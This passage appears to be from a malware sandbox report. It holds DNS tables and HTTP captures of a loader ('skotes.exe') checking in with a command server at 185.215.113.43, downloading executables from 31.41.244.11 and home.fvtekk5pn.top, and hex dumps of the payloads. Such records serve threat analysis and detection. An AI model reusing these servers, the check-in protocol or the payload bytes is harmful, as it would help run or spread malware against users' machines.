Nov 21, 2024 14:12:46.113020897 CET	1.1.1.1	192.168.2.6	0x55a5	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.418901920 CET	1.1.1.1	192.168.2.6	0x971b	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:12:46.418901920 CET	1.1.1.1	192.168.2.6	0x971b	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.418901920 CET	1.1.1.1	192.168.2.6	0x971b	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.418901920 CET	1.1.1.1	192.168.2.6	0x971b	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.418901920 CET	1.1.1.1	192.168.2.6	0x971b	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.418901920 CET	1.1.1.1	192.168.2.6	0x971b	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.418901920 CET	1.1.1.1	192.168.2.6	0x971b	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.418901920 CET	1.1.1.1	192.168.2.6	0x971b	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.418901920 CET	1.1.1.1	192.168.2.6	0x971b	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.418901920 CET	1.1.1.1	192.168.2.6	0x971b	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.418901920 CET	1.1.1.1	192.168.2.6	0x971b	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.418901920 CET	1.1.1.1	192.168.2.6	0x971b	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.418901920 CET	1.1.1.1	192.168.2.6	0x971b	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.418901920 CET	1.1.1.1	192.168.2.6	0x971b	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.418901920 CET	1.1.1.1	192.168.2.6	0x971b	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.418901920 CET	1.1.1.1	192.168.2.6	0x971b	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.418901920 CET	1.1.1.1	192.168.2.6	0x971b	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.418988943 CET	1.1.1.1	192.168.2.6	0xd45d	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:12:46.418988943 CET	1.1.1.1	192.168.2.6	0xd45d	No error (0)	star-mini.c10r.facebook.com		157.240.252.35	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.588144064 CET	1.1.1.1	192.168.2.6	0xfff4	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:12:46.588144064 CET	1.1.1.1	192.168.2.6	0xfff4	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.659060955 CET	1.1.1.1	192.168.2.6	0xd26f	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.659060955 CET	1.1.1.1	192.168.2.6	0xd26f	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.659060955 CET	1.1.1.1	192.168.2.6	0xd26f	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.659060955 CET	1.1.1.1	192.168.2.6	0xd26f	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.659060955 CET	1.1.1.1	192.168.2.6	0xd26f	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.659060955 CET	1.1.1.1	192.168.2.6	0xd26f	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.659060955 CET	1.1.1.1	192.168.2.6	0xd26f	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.659060955 CET	1.1.1.1	192.168.2.6	0xd26f	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.659060955 CET	1.1.1.1	192.168.2.6	0xd26f	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.659060955 CET	1.1.1.1	192.168.2.6	0xd26f	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.659060955 CET	1.1.1.1	192.168.2.6	0xd26f	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.659060955 CET	1.1.1.1	192.168.2.6	0xd26f	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.659060955 CET	1.1.1.1	192.168.2.6	0xd26f	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.659060955 CET	1.1.1.1	192.168.2.6	0xd26f	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.659060955 CET	1.1.1.1	192.168.2.6	0xd26f	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.659060955 CET	1.1.1.1	192.168.2.6	0xd26f	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.659117937 CET	1.1.1.1	192.168.2.6	0xe2df	No error (0)	star-mini.c10r.facebook.com		157.240.251.35	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.820621014 CET	1.1.1.1	192.168.2.6	0xe000	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:46.901016951 CET	1.1.1.1	192.168.2.6	0x9ce2	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 21, 2024 14:12:46.901016951 CET	1.1.1.1	192.168.2.6	0x9ce2	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 21, 2024 14:12:46.901016951 CET	1.1.1.1	192.168.2.6	0x9ce2	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 21, 2024 14:12:46.901016951 CET	1.1.1.1	192.168.2.6	0x9ce2	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 21, 2024 14:12:46.901141882 CET	1.1.1.1	192.168.2.6	0xb8d6	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Nov 21, 2024 14:12:47.069560051 CET	1.1.1.1	192.168.2.6	0xc19	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Nov 21, 2024 14:12:47.129545927 CET	1.1.1.1	192.168.2.6	0xee29	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:47.129700899 CET	1.1.1.1	192.168.2.6	0x3c4b	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 14:12:47.129700899 CET	1.1.1.1	192.168.2.6	0x3c4b	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:47.129700899 CET	1.1.1.1	192.168.2.6	0x3c4b	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:47.129700899 CET	1.1.1.1	192.168.2.6	0x3c4b	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:47.129700899 CET	1.1.1.1	192.168.2.6	0x3c4b	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:47.359333038 CET	1.1.1.1	192.168.2.6	0xa458	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:47.360021114 CET	1.1.1.1	192.168.2.6	0xb244	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:47.360021114 CET	1.1.1.1	192.168.2.6	0xb244	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:47.360021114 CET	1.1.1.1	192.168.2.6	0xb244	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:12:47.360021114 CET	1.1.1.1	192.168.2.6	0xb244	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49864	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:11:04.998723984 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 14:11:06.385662079 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 13:11:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49871	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:11:08.019458055 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 21, 2024 14:11:09.431724072 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 13:11:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 37 39 33 35 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 37 39 33 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 37 39 33 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 37 39 33 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1007935001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1007936001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1007937001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1007938001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1007939001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49876	31.41.244.11	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:11:09.672012091 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 21, 2024 14:11:11.057993889 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 13:11:10 GMT Content-Type: application/octet-stream Content-Length: 4406272 Last-Modified: Thu, 21 Nov 2024 10:52:35 GMT Connection: keep-alive ETag: "673f10f3-433c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 50 c5 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 80 c5 00 00 04 00 00 dc db 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 39 c5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 39 c5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2PJ@C@ _qsp9 9 px'@.rsrc p'@.idata q'@ 8q'@odbfcxsw'@fprwnwoi@C@.taggant0P"C@
Nov 21, 2024 14:11:11.058058977 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:11:11.058114052 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:11:11.058227062 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:11:11.058278084 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: p,2<TDd,HH7jU
Nov 21, 2024 14:11:11.058312893 CET	448	IN	Data Raw: e8 fe a7 3d 26 2d 65 4e d4 79 8f 7a e6 e1 ad 0a 9d e3 4f fe dd 89 a4 59 e1 bd 34 17 84 b6 38 af f8 a2 5d 12 3e ee b1 ca ea 3b fe a7 32 bc d9 49 49 58 61 b5 5d fd 6a 00 c3 b2 f8 32 1a 21 3a 51 19 b1 46 03 d2 bb 35 a1 7f e6 06 bb ec 43 23 3b 34 7b Data Ascii: =&-eNyzOY48]>;2IIXa]j2!:QF5C#;4{UfA@?Y"XvRZTwPX:ND]ZYtu{yO5)Sh1E+Sk$drl"sH?i9\6.W\|FQxdS%mK
Nov 21, 2024 14:11:11.058372021 CET	1236	IN	Data Raw: c4 10 2d 8d 4f e3 6f 09 10 38 44 73 54 e0 48 e6 c8 61 15 8c 50 d4 16 2b 40 fd 01 a2 40 d0 64 0d 86 7d 32 65 8f d6 82 18 87 ad d8 cf 2d aa 32 a9 ba 5a 37 c6 6f 31 ff df d5 82 04 ee 01 2d a3 93 29 7b 92 bb 22 a0 1c b4 a3 da 54 f7 e5 00 b7 da a9 c1 Data Ascii: -Oo8DsTHaP+@@d}2e-2Z7o1-){"T.GUUQW!27GC=h8uYD+p\|.w)x-7MEaD&C;T=5x8PE@_#lBm2$yH~
Nov 21, 2024 14:11:11.058418989 CET	1236	IN	Data Raw: a6 2d 09 85 72 76 b5 84 b4 c1 8b 1a 80 5c 7c 26 c5 f1 7f 8f 4f ed c3 7b c6 24 00 b9 cc ca 78 26 80 e8 2e c5 ce 3a c2 36 9d a9 6f 09 94 dd 75 71 d3 c3 38 37 fd 52 20 7d a9 dd 00 aa 8b f2 58 1d bf b9 f9 24 8e 0a 3c 4a 80 6d 58 61 eb e8 c5 6b d2 df Data Ascii: -rv\\|&O{$x&.:6ouq87R }X$<JmXakH70Kz%CZh>OOHnI}@/64oC>()]o,,fsT!ImePP!,$55:g$#G7Eqcq%IFhM6[
Nov 21, 2024 14:11:11.058468103 CET	448	IN	Data Raw: ad 91 d7 dc 98 e4 b8 ae d4 a2 dc 9b 81 a6 3a 85 d0 ef 2e ee e1 db 2e 7c c8 16 3c 87 22 ad d0 ac d1 8a 5f 3f ee 04 e7 46 ca 23 f4 cb 77 18 2f b9 0f 0f 30 61 0c 12 f1 ba 94 31 97 c3 f1 9d 3b 49 f5 f1 29 c4 07 4f d7 6c 01 85 57 fd 58 9b ea ef 62 0b Data Ascii: :..\|<"_?F#w/0a1;I)OlWXbar5xQQLDsb's'UP8z0O<H[M^U2s6k)%jORaZIF;Zwa]/e64kG99pO
Nov 21, 2024 14:11:11.058505058 CET	1236	IN	Data Raw: d6 5a 58 b4 e1 73 59 77 22 f9 c5 32 58 bb b8 5b 62 11 5e dc 81 07 09 cf 9c ad 70 f6 a5 26 cd 3a 46 f0 ad 86 cd d4 88 7f c8 cd 85 5d 19 b3 b3 b9 03 6e f3 c8 05 75 70 76 d2 b9 48 48 9e f9 7f 9a a8 d6 4b bd 9d 20 53 f9 cb c2 cd e6 81 e4 9e 6f 27 81 Data Ascii: ZXsYw"2X[b^p&:F]nupvHHK So'CvfYvK@vcYr ?jsWiAHMQkQ;WtHW6@/rG{FIJ>^LgL%c$CQ<cNd@0BCbhp/=
Nov 21, 2024 14:11:11.177817106 CET	1236	IN	Data Raw: 1e f9 b2 b8 22 77 24 a6 a5 c3 17 44 b6 35 55 10 76 1c 4c 5e 9d da 33 8e 50 a1 30 8c e6 e7 b4 cb ce 7b 25 bd 09 ac 60 1a 66 69 c4 c9 01 4a cb b3 4c d5 87 99 92 d8 44 9d a8 32 34 b7 8c b1 30 89 94 ca c3 d3 86 b6 27 b1 d5 3b 42 b4 c8 d9 27 bb 9c 32 Data Ascii: "w$D5UvL^3P0{%`fiJLD240';B'2[-\_K4J0C[$,w0T<X9TTe)\|HLN.X&a~_8B7a!Nt4g<IT@``joTY_[%Q\4`^OC$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49902	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:11:20.742039919 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 39 33 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007935001&unit=246122658369
Nov 21, 2024 14:11:22.178541899 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 13:11:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49903	34.116.198.130	80	1464	C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:11:21.631759882 CET	87	OUT	GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1 Host: home.fvtekk5pn.top Accept: /
Nov 21, 2024 14:11:23.009725094 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Thu, 21 Nov 2024 13:11:22 GMT content-type: application/octet-stream content-length: 10815536 content-disposition: attachment; filename="36EpLiutqfXtaXMkXOTru;" last-modified: Tue, 19 Nov 2024 12:29:07 GMT cache-control: no-cache etag: "1732019347.4431374-10815536-3919321515" Data Raw: 9b 04 9e 1d e2 2a 68 73 fe d9 48 6f 2c 36 36 c8 a4 e4 ba e7 12 f9 22 5d 6f 07 aa d2 fb 8c a2 b3 95 1e b6 6c ff 92 32 40 41 97 30 99 34 26 c9 44 c2 1e 7f 22 13 cd 10 62 a7 32 f3 c2 5c 11 ed c0 71 4a 49 c7 9d 3e 95 07 3e 4a 0a 6f 63 4c 1a b8 b6 1a 3d 67 8e 9d ed 46 4c 04 61 0a c6 3c 7b 3a f6 0d 3f 30 0d 33 18 56 4c f0 76 7a 8b c7 a1 f1 75 64 d6 00 c3 e9 df 3a 1b 4f 35 50 64 a6 db 6b 23 6a aa e6 6c 33 a4 69 a7 80 16 e0 e4 49 7c d0 73 7d bf 61 a2 62 7a 62 8e 5b f4 4d a9 ba 05 ae 7f d8 0c 3c 1e 71 cb 84 47 32 b1 63 64 df 8e 7a 22 8c 8e 33 7d f1 20 f1 74 04 61 fd 18 55 10 be 45 7d f4 63 45 d4 d0 16 17 c4 c8 a6 7d 44 80 d2 ba e9 1a 17 37 63 43 e4 22 3e c5 e4 a4 16 51 4f 2d 57 23 3a 36 33 fa f3 c5 aa 04 00 79 5c 1f 43 8d f1 b2 56 df 86 17 bc df 28 44 b7 aa 85 64 2d 2f 94 0d a5 7c 18 37 92 cb 0d 76 40 2e 05 16 6a ce b1 8c 0a e3 7d 08 00 ce 6a ef d3 51 b9 3b 81 19 3c 3f 6c 3e 37 fe 3f d7 b3 7d 60 7e e2 b1 a4 1f 00 62 27 63 3d fd 4b 06 87 dc 8e 8e fa 56 9b bf 7a dc a3 07 20 e3 0b 1a f5 06 b1 0f 6d 27 af dd 1b [TRUNCATED] Data Ascii: hsHo,66"]ol2@A04&D"b2\qJI>>JocL=gFLa<{:?03VLvzud:O5Pdk#jl3iI\|s}abzb[M<qG2cdz"3} taUE}cE}D7cC">QO-W#:63y\CV(Dd-/\|7v@.j}jQ;<?l>7?}`~b'c=KVz m'3~\K ^m_F<4xrG/dz4?gv5,?^w@X^wZ1~7C+Z&dp`#9XgJC>e93VGh74x?x[3=YT.Qa `MG?_zGkB+(#8RUeY[x-$4`zAc`vmVlP+>tsd@>ydCHSnt+_`"FitXXD.}P #(4K<0b h;]6{bgEqvZ>4o]2?}#\|![L&!z";ZY<PPT9HC}M*65qs#ep%@LlGH)bj'7a: ;B3L0"
Nov 21, 2024 14:11:23.009790897 CET	1236	IN	Data Raw: b8 ff 32 30 58 cd 81 20 5f b7 4d f7 d5 77 53 0a 4f e7 60 83 ed 44 cc d0 f5 71 1e 4e 4f f8 01 9b 7d 28 47 50 fb 75 8d 8e 55 9f 9d c6 2b 06 24 6f 58 e4 80 8f e0 a2 b4 79 5d f7 cf 4a e0 fc b8 91 16 d1 c7 db 64 34 ea ff 9a 7a 67 99 a9 5e e5 15 9c c8 Data Ascii: 20X _MwSO`DqNO}(GPuU+$oXy]Jd4zg^h(>sNk=@nIEbcZ"~Q6]4AGc]>2+<X]2]CRq[Ya{YvF{m2*bg3\|8IBlm&
Nov 21, 2024 14:11:23.009828091 CET	1236	IN	Data Raw: 31 a0 27 b0 31 e8 22 a5 51 78 81 6b ea a9 43 84 11 c4 be 3a 3c 17 d0 63 57 c5 20 31 2f c5 f3 3d bf 67 df 7f 0a 0e 93 9c af 04 65 f3 af a9 d4 4f 98 e4 8e ec 3f 1b 0f e9 f3 b7 01 21 79 8f 56 8d ec 70 82 ac 4b 64 58 ce 90 f4 54 8d 94 fe aa 7b 06 b3 Data Ascii: 1'1"QxkC:<cW 1/=geO?!yVpKdXT{`6u}]dTlC%hU.\|zi<kGB5}mP=PNp?%G~e\|NSF{)OfI"&l6~/YLm#K>
Nov 21, 2024 14:11:23.009867907 CET	1236	IN	Data Raw: 52 23 c5 90 d5 ff 98 77 06 c3 aa 7f 85 27 36 0c 3d 95 5d f4 72 4e 81 4b 66 ae 6d 23 f3 44 c6 b9 51 f6 7b 5b 38 44 ca f3 b2 7c cf 81 a7 28 04 b5 36 b4 fb 4f 20 f4 f8 c4 28 41 7e c3 7e 89 b0 03 17 ce b1 07 49 cd b1 88 29 27 55 18 25 6f 10 b0 06 82 Data Ascii: R#w'6=]rNKfm#DQ{[8D\|(6O (A~~I)'U%o%.8]<4428@9]VGi&3'/SvepiD`)fhOOu;{ad=E/Z7h(}ZD0EZE_EP=5>J5B
Nov 21, 2024 14:11:23.009902954 CET	736	IN	Data Raw: b4 45 24 ec 90 ce f6 4a 8d 7e de e4 f7 04 5c 67 ac 49 96 a0 e7 1e 40 e5 6a ed c8 51 ae 18 59 a3 63 5e 96 33 7e 7e d0 7f cd 58 b9 bc 51 ce 04 fd 4c a7 a2 7d 5c 30 c0 d4 4a 5f 97 df c2 80 8a 66 fd 5e 54 12 cd e9 3c 3d e5 9b 7f 7c 7e 3b 28 bf 33 eb Data Ascii: E$J~\gI@jQYc^3~~XQL}\0J_f^T<=\|~;(3w;b+NcHfD-O~sHC_a6&}}4cP9Ap&tTu:#?b)}St[I)~^TTPYT0cQY0>~a0(V
